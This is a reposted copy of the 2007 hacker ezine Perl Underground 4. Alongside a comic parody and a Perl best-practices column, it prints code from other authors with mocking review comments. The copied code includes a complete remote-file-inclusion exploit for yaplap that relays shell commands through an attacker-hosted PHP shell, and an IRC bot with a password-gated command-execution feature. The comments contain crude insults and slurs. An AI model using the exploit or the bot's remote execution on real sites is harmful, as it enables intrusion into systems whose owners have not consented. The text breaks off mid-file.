[转载][ezine] Perl Underground 4
文章作者：[email]root@yourbox.anywhere[/email]信息来源：邪恶八进制信息安全团队（[url]www.eviloctal.com[/url]）
[[email]root@yourbox.anywhere[/email]]$ date
Mon Feb 26 21:04:21 EST 2007
[[email]root@yourbox.anywhere[/email]]$ ls -lt
total 216
-rw------- 1 puyou puyou 0 2007-02-26 20:32 TOC
-rw------- 1 puyou puyou 1368 2007-02-26 20:21 intro.txt
-rw------- 1 puyou puyou 3476 2007-02-26 18:21 spaceman_spiff.txt
-rw------- 1 puyou puyou 4787 2007-02-26 18:20 kiddie.txt
-rw------- 1 puyou puyou 7672 2007-02-26 18:20 merlyn.txt
-rw------- 1 puyou puyou 478 2007-02-26 18:20 noob.txt
-rw------- 1 puyou puyou 24921 2007-02-26 18:19 preddy.txt
-rw------- 1 puyou puyou 1707 2007-02-26 18:19 vipul.txt
-rw------- 1 puyou puyou 1571 2007-02-26 18:19 cpanel.txt
-rw------- 1 puyou puyou 17138 2007-02-26 18:19 regex.txt
-rw------- 1 puyou puyou 11384 2007-02-26 18:17 2600.txt
-rw------- 1 puyou puyou 897 2007-02-26 18:15 saltmarsh.txt
-rw------- 1 puyou puyou 3636 2007-02-26 18:14 perl6.txt
-rw------- 1 puyou puyou 5326 2007-02-26 18:12 foster_and_burnett.txt
-rw------- 1 puyou puyou 3072 2007-02-26 18:12 jon_erickson.txt
-rw------- 1 puyou puyou 26922 2007-02-26 18:12 mjd.txt
-rw------- 1 puyou puyou 3768 2007-02-26 18:12 napta.txt
-rw------- 1 puyou puyou 28681 2007-02-26 18:12 p5p.txt
-rw------- 1 puyou puyou 5242 2007-02-26 18:12 nasti.txt
-rw------- 1 puyou puyou 657 2007-02-26 18:11 egomaniac.txt
-rw------- 1 puyou puyou 4233 2007-02-26 18:10 cirt.dk.txt
-rw------- 1 puyou puyou 979 2007-02-26 18:08 str0ke.txt
-rw------- 1 puyou puyou 715 2007-02-26 18:07 ownedbypu.txt
-rw------- 1 puyou puyou 1359 2007-02-26 18:05 outr0.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 1368 2007-02-26 20:21 rant/intro.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Welcome to Perl Underground 4. Despite consideration of options, this is much like the other Perl
Underground zines. Despite not doing so in the previous editions, I would like to expose a few of
the artistic choices that went into the making of this one.
In the past, particularly in PU and PU2, we went right after a lot of big names. We clearly
established that we would go after anybody, no matter how much we respect them or to what degree
they write good code. In this zine, there are far fewer celebrities. Targets were chosen on a merit
basis. We focus on some very bad code, but also on some code that is merely creative in the ways
that it is bad. Do not worry, we still have a little poke at str0ke.
Our previous editions focused on older quality articles from legendary gurus, in a way to fill many
of our readers in on a missed heritage. PU4 is more contemporary. There are few "School You"
articles, but some of them are very new. Hopefully they give a diverse picture of the current Perl
world.
As for the creative writing pieces that I chose to title as "rants" based on the nature of the very
first of them, I think they have enough funny parts, and a few easter eggs. A prize to anyone who
can figure out where saltmarsh.txt comes from. Bonus points for class if you knew it originally.
Thank you for your attention, and please enjoy the publication.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 3476 2007-02-26 16:07 rant/spaceman_spiff.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
< If you're going to tear around with a squirt gun, do it outside! >
A dreaded Naggon mother ship fires a bolt of deadly destructo ray that sends a small, red
spacecraft reeling towards an unknown planet! Inside that spacecraft is our hero, the intrepid...
[ Perl Underground is proud to present ]
:::::::: ::::::::: ::: :::::::: :::::::::: ::: ::: ::: :::: :::
:+: :+: :+: :+: :+: :+: :+: :+: :+: :+:+: :+:+: :+: :+: :+:+: :+:
+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+:+ +:+ +:+ +:+ :+:+:+ +:+
+#++:++#++ +#++:++#+ +#++:++#++: +#+ +#++:++# +#+ +:+ +#+ +#++:++#++: +#+ +:+ +#+
+#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+#+#
#+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+#+#
######## ### ### ### ######## ########## ### ### ### ### ### ####
:::::::: ::::::::: ::::::::::: :::::::::: :::::::::: INTERPLANETARY
:+: :+: :+: :+: :+: :+: :+: EXPLORER
+:+ +:+ +:+ +:+ +:+ +:+ EXTRAORDINAIRE
+#++:++#++ +#++:++#+ +#+ :#::+::# :#::+::#
+#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+# #+# #+#
######## ### ########### ### ###
Our hero wrestles the controls, but the altituditron refuses to respond!
With ever increasing velocity, Spiff roars to his doom!
Spiff's only hope is to attempt a thousand mile-an-hour landing!
Our hero lowers the landing gear and levels out! WILL HE MAKE IT??
< hmph. >
YES! The incredible Spaceman Spiff survives! Dazed, but unhurt, our hero crawls from the smoldering
wreckage!
Spiff sets off across the planet surface. An ominous, shadowy figure flits across a nearby hilltop!
An alien!
Our hero darts behind a rock and sets his zorcher on "shake and bake." The alien approaches!
< Hi Calvin! I see you, so you can stop hiding now! Are you playing cowboys or something? Can I
play too? >
It's a loathesome bat-webbed booger being... A repulsive leech-like creature that attaches itself
to you and never lets you alone until you're dead!!
Our hero springs into action! KISS YOUR PROTONS GOODBYE, BOOGER BEING!!
Spiff fires repeatedly... But to his great surprise and horror, the zorch charge is absorbed by the
booger being with no ill effect! Instead, the monster only becomes angry!
< Why'd you do THAT, you mean little creep?!? I'm telling your mom!! >
< uh oh. >
ZOUNDS! The booger being is in alliance with the naggon mother ship that shot spiff down in the
first place! Our hero opts for a speedy getaway!
At the booger being's distress signal, a gigantic naggon materializes on the planet surface!
With a ground-shaking lunge, the naggon is after Spaceman Spiff!
Our hero leaps into a crevice! Knowing his zorcher would be useless against the behemoth, Spiff
arms the demise-o bomb he keeps in his belt for such an emergency!
The naggon rounds the corner! Spiff heaves the bomb!
< Ha ha! Death to naggons! >
< Calvin, don't you dare throw that.. >
The monster is only stunned! Spiff quickly tries to arm another bomb!
It's too late! The naggon has him! What will happen NOW??
< Hi honey, I'm home! Boy, what a day at the off.. >
< ..Uh, what's with the towels... Or don't I want to know? >
< Your son is in his room, waiting for you to have a talk with him. >
In the smelly, gloomy dungeon, Spaceman Spiff prepares a cunning trap for the approaching naggon
king! Soon our fearless hero will be free again!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 4787 2007-02-26 18:20 laugh/kiddie.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<Hobbes> Croquet is a gentleman's game.
#!/usr/bin/perl
#yaplap Remote File Inclusion Vulnerablity
#Version 0.6 & 0.6.1
#Class = Remote File Inclusion
#Bug Found & Exploit [c]oded By DeltahackingTEAM (Dr.Trojan&Dr.Pantagon)
#Download:[url]http://osdn.dl.sourceforge.net/sourceforge/yaplap/yaplap-0.6.1.tar.gz[/url]
#Vulnerable Code:include $LOGIN_style."_form.php";
#[Path]/Index.php?site_main_path=
#Exploit: ldap.php?LOGIN_style=[shell]
# FUCK Your Mother &Your SisTer=>>> z_zer0c00l
# ^^^^^^^^^^^^^ script kiddie nonsense
use LWP::UserAgent;
# ^^ good thing you did not include strict or warnings .. did not figure you would seeing as you can not code
$target=@ARGV[0];
# usg() unless my ($target) = shift =~ m!^(http://[^\n]+)!;
$shellsite=@ARGV[1];
# usg() unless my ($shellsite) = shift =~ m!^(http://[^\n]+)!;
$cmdv=@ARGV[2];
#$cmdv = shift || usage();
if($target!~/http:\/\// || $shellsite!~/http:\/\// || !$cmdv)
# stabbing my eyes with toothpicks and ugly regexs!
# you do not even check where the http:// is try using ^
{
usg()
}
header();
# my ($cmd);
# LEARN TO INDENT CODE YOU DO HAVE A TAB KEY RIGHT!!!!!!!!!!
while()
{
print "[Shell] \$";
while (<STDIN>)
{
$cmd=$_;
chomp($cmd);
# ^ that is disgusting try this:
# while(chomp($cmd = <STDIN>))
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET=>$target.'ldap.php?LOGIN_style='.$shellsite='.?&'
.$cmdv.'='.$cmd)or die "\n\n Failed to Connect, Try again!\n";
# $req = HTTP::Request->new(GET=>"$targetldap.php?LOGIN_style=$shellsite=?&$cmdv=$cmd")
# or die "\n\n Failed to Connect, Try again!\n";
$res = $xpl->request($req);
$info = $res->content;
$info =~ tr/[\n]/[ê]/;
# do you even know what this means?
if (!$cmd) {
print "\nEnter a Command\n\n"; $info ="";
}
# why all this print and unsetting a variable?
# try:
# next if (!$cmd);
elsif ($info =~/failed to open stream: HTTP request failed!/ || $info =~/:
Cannot execute a blank command in <b>/)
{
print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";
exit;
}
# die("\nCould Not Connect to cmd Host or Invalid Command Variable\n") if
# ($info =~/failed to open stream: HTTP request failed!/ ||
# $info =~/:Cannot execute a blank command in <b>/);
elsif ($info =~/^<br.\/>.<b>Warning/) {
print "\nInvalid Command\n\n";
};
# die("...") if ($info =~/^<br.\/>.<b>Warning/);
if($info =~ /(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
# this is pretty funny that you capture two strings and only use one.
# showing again that you dont know how to code but instead copy paste
# also what is the point of <br.\/>? were you trying to match <br >?
# they have this thing called "\s" it stands for "space"
# not that you would know for reasons mentioned before.
# also why do you have Warning.(.+) ? did you mean to escape the special
# character "."? Do you even know what escaping is.......
# How about:
# if($final = $info =~ /(.+)<br\s\/>.<b>Warning\..+<br\s\/>.<b>Warning/){
print "$final\n";
last;
# ^ SEE THE TAB MAKES YOUR CODE READABLE NOT LIKE ANYONE USES YOUR BULLSHIT ANYWAY
}
{
$final = $1;
$final=~ tr/[ê]/[\n]/;
print "\n$final\n";
last;
}
# ^^ /me throws up
# since we exit after every case here and dont have your ugly
# if-else-block we can just print "[shell] \$";
else {
print "[shell] \$";
} # You
} # fail
} # at
last; # life
sub header()
{
print q{
*******************************************************************************
***(#$#$#$#$#$=>http://www.deltasecurity.ir<=#$#$#$#$#$)***
Vulnerablity found By: DeltahackingTEAM
Exploit [c]oded By: Dr.Trojan
Dr.Trojan,HIV++,D_7j,Lord,VPc,Tanha,Dr.Pantagon
[url]http://advistory.deltasecurity.ir[/url]
We Server(99/999% Secure) <<<<<[url]www.takserver.ir[/url]>>>>>
Email:Dr.Trojan[A]deltasecurity.ir 0nly Black Hat
******************************************************************************
}
# ^ L1k3 OMg i n3v3r heard of tab and im so l33t
# my name is dr. trojan i R master of t3h sub 7
# 0nly bl4ckh4t em4ilz so w3 can r3l34s3 0day w4r3z like the true blackhats h0h0h0h0h0
# catch us on zone-h.org [url]http://www.zone-h.org/component/option[/url],com_attacks/Itemid,43/filter_defacer,DeltahackingSecurityTEAM/
# we w1ll 0wn your phpbb board ph33r us!@#!@#!@#@!#!@#!@
}
sub usg()
{
header();
print q{
Usage: perl delta.pl [tucows fullpath] [Shell Location] [Shell Cmd]
[yaplap FULL PATH] - Path to site exp. [url]www.site.com[/url]
[shell Location] - Path to shell exp. d4wood.by.ru/cmd.gif
[shell Cmd Variable] - Command variable for php shell
Example: perl delta.pl [url]http://www.site.com/[/url][yaplap]/
********************************************************************************
};
exit();
}
# found at: [url]http://milw0rm.com/exploits/2930[/url]
# took me three bottles of jack and an iranian slut to finish this code but im done
# back to the physch ward after this one
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 7672 2007-02-26 18:20 school/merlyn.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[suggested title: ``Practicing Best Perl'']
Roughly a year ago, my friend Damian Conway published a hefty tome called Perl Best Practices. He
managed to gather 256 strongly suggested ideas and behaviors that had made his Perl hacking more
successful for him and his customers over the years. As a reviewer on the book, I was happy enough
with what I had seen to provide a quote which was eventually selected for the back cover:
As a manager of a large Perl project, I'd ensure that every member of my team has a copy of Perl
Best Practices on their desk, and use it as the basis for an in-house guide.
A year later, looking back, I'm still happy with what I've seen, including how some of my clients
have taken my advice to heart. While I don't intend for this column to be a book review, I wanted
to provide some context for the rest of what I have to say this time around.
I've been writing computer programs for over 35 years, including 25 years of doing that and getting
paid for it. One of the hardest things to convey in little snippets of code and random Perlmonks
posting is the larger picture of ``don't do this because I got burned doing that a long time ago''.
Apparently, the young'uns these days just want to get something hacked out, or figure that their
problem is just completely unique and some advice I may be able to dish out in a one-liner can't
possibly apply to them.
Or they think they know better. That's fine. We need the enthusiasm of the unscarred youth to
explore new and better spaces. But time-after-time, many of them come to realize that maybe the old
grey-beards actually had some sane thing to say about their task.
For example, a frequent request comes along on how to have a variable name contain all or part of
another variable name. In Perl, we can certainly accomodate access to the package variables using
symbolic references, and (with some difficulty) the lexicals with a well-formed eval-string
operation.
But the caveat I include (with either my own posting, or as a footnote to someone else's
unqualified answer) is don't do that. To many people asking the question, it's often a puzzling
response, because they see me giving, and yet taking away, in the same answer. My fear, of course,
is that they listen to the ``how'' and completely ignore the ``why not'', and run off to write code
that will be unmaintainable and possibly expose some security holes.
But this is the difference between knowing how to code in Perl, and knowing the best way to code in
Perl. I know from my years of practice that code that blurs data and variable names will be hard to
maintain, and prone to problems. But I have to convey that in a way that seems more about intuition
than by reeling off all those moments in the past that give the basis of my conclusions.
Naturally, the ``Yeah, but there's more than one way to do it'' war chant is often returned, but I
think that's misunderstanding what Larry Wall means as he says that. Larry wants Perl to have the
power of expression to suit the coder and situtation, including perhaps having multiple ways to say
the same thing to emphasize various aspects. He doesn't intend the phrase to imply ``... and all
ways are equally valid and suitable for every occasion''.
This is where Damian Conway's book comes in to play. Damian has helped sort out the things that
most Perl experts agree are more likely to produce better code faster and easier, narrowing down
the many ways to do things into the ways people seem to get more things done. And although some of
the things might be considered arbitrary, or perhaps even controversial, Damian makes strong
arguments for each item, so even if you disagree, you can say, ``Hey, he's got a good point here.''
To illustrate my point, let's look at a few of Damian's ``Best Practices'', albeit illustrated with
my own examples when I think of them.
For example, in Chapter Two, we see ``Never place two statements on the same line''. Sure, it
sounds simple. But there are some important implications of this advice.
First, a statement in Perl is a logical step: the kind of thing that you'd want to add, remove,
cut, or paste. If you have two statements on a line, it's harder to edit your program to have more
steps.
But more importantly perhaps, the Perl debugger can place a breakpoint only on a line-by-line
basis. So although the second statement might be a logical stopping point during single-stepping or
code evaluation, having put the statement mid-line, we no longer have that option. While Perl
normally doesn't care about increased or decreased whitespace, we see an important semantic change
here by not following this (now hopefully motivated) advice.
When I first read that advice, it sat with me like ``well, of course''. But that's because I had
already been burned by not being able to set a breakpoint on a mid-line statement, so I carry the
scar, vowing never to get burned that way again. That's what makes a book like this have a great
deal of value, giving others the chance to learn from my scars.
The very next advice, ``Code in Paragraphs'', is also something I did quite naturally and
frequently, which you know if you've been reading my past columns and books. I like to use
whitespace to create ``paragraphs'' of statements (considering the statement as a ``sentence'').
For example, in a subroutine call, I place an extra blank line after any code that sorts out the
initial processing of @_:
sub marine {
my $wave = shift;
my $direction = shift;
... more processing here ...
}
The extra blank line gives some ``breathing room'' to the eye, as well as suggest that I'm
``changing gears'' a bit in the next section. The blank line costs only a single \n character, and
yet I'm saving a bit of time for everyone reading the program. In addition to adding these blank
lines every dozen or fewer code lines, I generally add a topic comment in front of the following
chunk:
## compute the value
... code here
... to do
... the computation
## copy the data to the cache
... more
... code
## update the cache freshness
... code here
## return the value
return $the_value;
Each comment begins with a double-hash ## so that my eye can immediately jump to it, and the
comment describes the actions taken by the next few lines of code. I rarely write more than one
line in these comments: consider them a ``headline''.
Again, it's a little thing, but it's amazing how much more readable the code is when you can keep
doing these ``little things'' consistently.
In chapter 4, I found the advice ``Use named constants, but don't use constant''. I found that
rather shocking, and initially (mockingly) offensive because the core module constant had been
written by my fellow Stonehenge employee, Tom Phoenix. However, Damian goes on to describe the much
more powerful and useful Readonly module (found in the CPAN), of which I had previously been
unaware. Compare the following with use constant:
use constant PI => 3.2;
print "In Indiana, Pi might have been @{[PI]}\n";
versus the equivalent with Readonly:
use Readonly;
Readonly my $PI = 3.2;
print "In Indiana, Pi might have been $PI\n";
Yes, the Readonly interface creates actual scalars (rather than subroutines as with use constant),
which can be much more easily interpolated into strings, used as bareword keys, or even work nicely
as readonly arrays and hashes.
So, even a beardless Perl ``greybeard'' like me can learn a new trick from a book like Perl Best
Practices and that's pretty cool. So, I suggest you go out immediately and add this book to your
shelf (real or virtual), and until next time, enjoy!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 478 2007-02-26 18:20 rant/noob.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Dear Perl Underground,
Hi! I really like your zine. It sure was funny how you made fun of those guys. You should make fun
of more guys. I didn't actually read any of the articles except for the insult parts. I especially
didn't read the parts written by elite Perl coders trying to educate the ignorant masses of which I
am a part. In fact, my Perl code is complete shit and yet it hasn't occured to me that I could end
up in the next PU.
Desperately in Love,
A Stupid Noob
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 24921 2007-02-26 18:19 laugh/preddy.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<Hobbes> That's a lie! You ALWAYS take the lucky red ball first!
#!/usr/bin/perl
###################################################################################################
#
#Ircbot - by Preddy
#Commands:
#
#!bitch (info about the owner of the bot)
#!crack (to lookup an md5 hash and get the plain text format of it..(3 website's))
#!md5gen (to generate an md5 hash)
#!quote (to view a quote from a list of famous computer quotes)
#!changenick (to change the bot's name to a random name from the list.. Usage: !changenick <pass>)
#!inject (to inject the user with an injectable object eg: a toothbrush)
#!proxy (to get a list of proxies from nntime.com)
#!advisories (to get a list of advisories from secunia.com)
#!exploits (to get a list of exploits from milw0rm.com)
#!securitynews (to get the latest securitynews from addict3d.org)
#!technews (to get the latest technews from addict3d.org)
#!gewgle (search for something at google)
#!exec (executes a command,requires the owners password.. usage: !exec <pass> <command>)
#!suicide (kill the bot..usage: !suicide <pass>
#!say (Let the bot say a message to the channel..usage: !say <pass> <message>)
#
#Other Features:
#
#Bot greets with: Good morning sir... (if string: morning is detected)
#Bot auto-rejoins after a kick with a newly changed name
#Bot replies to PING requests from the server
###################################################################################################
#
# You should use POD. Really. It is so nice, so pretty!
use IO::Socket;
use Switch;
use Digest::MD5 qw(md5_hex);
# Switch is lame. Unfortunately Perl 5 does not have a proper switch statement, and for that we
# apologize. However, Switch sucks.
# Use strict and warnings.
$server = 'ABS.lcirc.net';
$port = '6667';
# NO QUOTING
$user = 'P02 P03 P04 :P___';
# PU4, staring right at you!
$nick = 'P02';
$chan = '#milw0rm';
$logfile = 'irc-log.txt';
$owner = '|Preddy|';
$pass = 'c02b7d24a066adb747fdeb12deb21bfa'; #penis
# Yes, penis, how amusing. Now make your variables lexical
# If you are going to bother with minimal password security
# why not use a password whose hash won't crack quite so quickly?
$con = IO::Socket::INET->new(PeerAddr=>$server,
PeerPort=>$port,
Proto=>'tcp',
Timeout=>'30') || print "Error: Connection\n";
# $! is a useful variables
print $con "USER $user\r\n";
print $con "NICK $nick\r\n";
print $con "JOIN $chan\r\n";
# So is $\
while($answer = <$con>)
{
# Shit this is ugly. All ugly. ALL UGLY
open(LOG,">>$logfile");
print LOG "$answer";
close(LOG);
#who's yo daddy?
if($answer =~ m/\!bitch/)
{
# You realize that will match !bitch anywhere, not just the beginning of your line?
# Mistakes can happen!
# And, escaping not necessary in that circumstance
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
# holy fuck you line waster
# I'm calling the environment police, you're killing \ns
print $con "privmsg $xchannel :I am tha bitch of $owner..\n";
}
}
if($answer =~ m/\!suicide/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
@strpart = split(" ",$xtext);
$p = $strpart[1];
$encpw = md5_hex($p);
# How about shorter and smarter? my $encpw = md5_hex( (split(' ', $xtext))[1] ); or so?
if($encpw == $pass)
{
exit;
}
# exit if $encpw == $pass;
}
}
if($answer =~ m/\!say/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
@strpart = split(" ",$xtext);
$p = $strpart[1];
$encpw = md5_hex($p);
if($encpw == $pass)
{
$msg = "$strpart[2] $strpart[3] $strpart[4] $strpart[5] $strpart[6] $strpart[7] $strpart[8]
$strpart[9] $strpart[10] $strpart[11] $strpart[12] $strpart[13] $strpart[14] $strpart[15]
$strpart[16] $strpart[17] $strpart[18] $strpart[19] $strpart[20] $strpart[21] $strpart[22]
$strpart[23] $strpart[24] $strpart[25]";
# You dumb fuck. How about $msg = join ' ', @strpart;
print $con "privmsg $chan :$msg\n";
}
}
}
if($answer =~ m/\!exec/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
@strpart = split(" ",$xtext);
$p = $strpart[1];
$encpw = md5_hex($p);
if($encpw == $pass)
{
# You really dumb fuck. you split it up there, just to manually output it here
$cmd = "$strpart[2] $strpart[3] $strpart[4] $strpart[5] $strpart[6] $strpart[7] $strpart[8]
$strpart[9] $strpart[10] $strpart[11] $strpart[12] $strpart[13] $strpart[14] $strpart[15]
$strpart[16] $strpart[17] $strpart[18] $strpart[19] $strpart[20] $strpart[21] $strpart[22]
$strpart[23] $strpart[24] $strpart[25]";
@output = qx($cmd);
foreach $command (@output)
{
print $con "privmsg $xnick :$command\n";
}
# One line it! Do it!
}
}
}
if($answer =~ m/\!gewgle/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
# Why don't you assign those (properly!) once, earlier in the program,
# and stop SUCKING for the rest of it?
@words = split(" ",$xtext);
$word = $words[1];
# my $word = (split ' ', $xtext)[1];
$getres =
IO::Socket::INET->new(PeerAddr=>'64.233.183.104',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print
"Error: Connection\n";
# Lame quotes. And include $! in your error message.
print $getres "GET /search?num=1&hl=en&lr=lang_en&q=$word&btnG=Search HTTP/1.0\n";
print $getres "Host: [url]www.google.com[/url]\n\n";
# We have modules for this kind of thing. To make sure it goes down right, bitch
print $con "privmsg $xchannel :Word: $word\n";
while($res = <$getres>)
{
$res =~ m/<a class=l href="(.*?)">/ && print $con "privmsg $xchannel :Result : $1\n";
}
}
}
if($answer =~ m/\!crack/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
@parts = split(" ",$xtext);
$hash = $parts[1];
$gethash =
IO::Socket::INET->new(PeerAddr=>'80.190.251.212',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print
"Error: Connection\n";
print $gethash "GET /?q=$hash&b=MD5-Search HTTP/1.0\n";
print $gethash "Host: md5.rednoize.com\n\n";
$gethash3 =
IO::Socket::INET->new(PeerAddr=>'67.18.64.178',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print
"Error: Connection\n";
print $gethash3 "GET /find?md5=$hash HTTP/1.0\n";
print $gethash3 "Host: us.md5.crysm.net\n\n";
$gethash4 =
IO::Socket::INET->new(PeerAddr=>'67.15.126.34',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print
"Error: Connection\n";
print $gethash4 "POST / HTTP/1.1\n";
print $gethash4 "Host: [url]www.md5decrypt.com[/url]\n";
print $gethash4 "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060719
Firefox/1.5.0.5\n";
print $gethash4 "Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
\n";
print $gethash4 "Accept-Language: en-us,en;q=0.5\n";
print $gethash4 "Accept-Encoding: gzip,deflate\n";
print $gethash4 "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n";
print $gethash4 "Keep-Alive: 300\n";
print $gethash4 "Connection: keep-alive\n";
print $gethash4 "Referer: [url]http://www.md5decrypt.com/[/url]\n";
print $gethash4 "Content-Type: application/x-www-form-urlencoded\n";
print $gethash4 "Content-Length: 43\n";
print $gethash4 "\n";
print $gethash4 "h=$hash&s=Search\n";
# Think of all the space you could have saved with a proper and easy quoting mecanism!
print $con "privmsg $xnick :Hash: $hash\n";
while($ghash = <$gethash>)
{
if($ghash =~ m/<h3>(.*?) /)
{
$hh = $1;
$hh =~ s/://;
$hh =~ s//?/;
$hh =~ s/\n//;
# tr
$hh =~ s/QUIT//;
$hh =~ s/quit//;
# //i
if($hh =~ m/ /)
{
$hh = "?????";
}
if($hh =~ m/\n/)
{
$hh = "?????";
}
if($hh =~ m/-/)
{
$hh = "?????";
}
# Those three could have been a one liner. Combined.
print $con "privmsg $xnick :md5.rednoize.com : $hh\n";
}
}
while($ghash3 = <$gethash3>)
{
if($ghash3 =~ m/<li>(.*?)<\/li>/)
{
$hh2 = $1;
$hh2 =~ s/://;
$hh2 =~ s//?/;
$hh2 =~ s/\n//;
$hh2 =~ s/QUIT//;
$hh2=~ s/quit//;
# What horribly lame variable cleaning
if($hh2 =~ m/ /)
{
$hh2 = "?????";
}
if($hh2 =~ m/\n/)
{
$hh2 = "?????";
}
if($hh2 =~ m/:/)
{
$hh2 = "?????";
}
# Look at the code reuse. Everything in this program could be so much shorter
# if you weren't a FUCKING MORON
print $con "privmsg $xnick :us.md5.crysm.net : $hh2\n";
}
}
while($ghash4 = <$gethash4>)
{
if($ghash4 =~ m/<br \/><b>(.*?)<\/b>/)
{
$hh3 = $1;
$hh3 =~ s/://;
$hh3 =~ s//?/;
$hh3 =~ s/\n//;
$hh3 =~ s/QUIT//;
$hh3 =~ s/quit//;
if($hh3 =~ m/ /)
{
$hh3 = "?????";
}
if($hh2 =~ m/\n/)
{
$hh3 = "?????";
}
if($hh2 =~ m/:/)
{
$hh3 = "?????";
}
print $con "privmsg $xnick :md5decrypt.com : $hh3\n";
}
}
}
}
#generate an md5 hash..
if($answer =~ m/\!md5gen/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
@strpart = split(" ",$xtext);
$str = $strpart[1];
# Doesn't all of this look so FUCKING FAMILIAR
$md5hash = md5_hex($str);
print $con "privmsg $xchannel :String : $str\n";
print $con "privmsg $xchannel :Result : $md5hash\n";
}
}
if($answer =~ m/\!quote/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
$ran = int(rand(44));
switch($ran){
# How about all of these go into an array, and then instead of this switch statement,
# you do something like this:
# print $con $lamejokes[int rand 44];
# Or would that be too outside-the-box for your stupid, moronic mind?
case 0 { print $con "privmsg $xchannel : I do not fear computers. I fear the lack of them. - Isaac
Asimov -\n"}
case 1 { print $con "privmsg $xchannel : Computer science is no more about computers than astronomy
is about telescopes. - Edsger Dijkstra -\n"}
case 2 { print $con "privmsg $xchannel : The computer is a moron. - Peter Drucker -\n"}
case 3 { print $con "privmsg $xchannel : Computers are so badly designed! - Brian Eno -\n"}
case 4 { print $con "privmsg $xchannel : Computers are magnificent tools for the realization of our
dreams, but no machine can replace the human spark of spirit, compassion, love, and understanding.
- Louis Gerstner -\n"}
case 5 { print $con "privmsg $xchannel : The real danger is not that computers will begin to think
like men, but that men will begin to think like computers. - Sydney J. Harris -\n"}
case 6 { print $con "privmsg $xchannel : Supercomputers will achieve one human brain capacity by
2010, and personal computers will do so by about 2020. - Ray Kurzweil -\n"}
case 7 { print $con "privmsg $xchannel : Home computers are being called upon to perform many new
functions, including the consumption of homework formerly eaten by the dog. - Doug Larson -\n"}
case 8 { print $con "privmsg $xchannel : What do we want our kids to do? Sweep up around Japanese
computers? - Walter F. Mondale -\n"}
case 9 { print $con "privmsg $xchannel : Computing is not about computers any more. It is about
living. - Nicholas Negroponte -\n"}
case 10 { print $con "privmsg $xchannel : The good news about computers is that they do what you
tell them to do. The bad news is that they do what you tell them to do. - Ted Nelson -\n"}
case 11 { print $con "privmsg $xchannel : To err is human - and to blame it on a computer is even
more so. - Robert Orben -\n"}
case 12 { print $con "privmsg $xchannel : People think computers will keep them from making
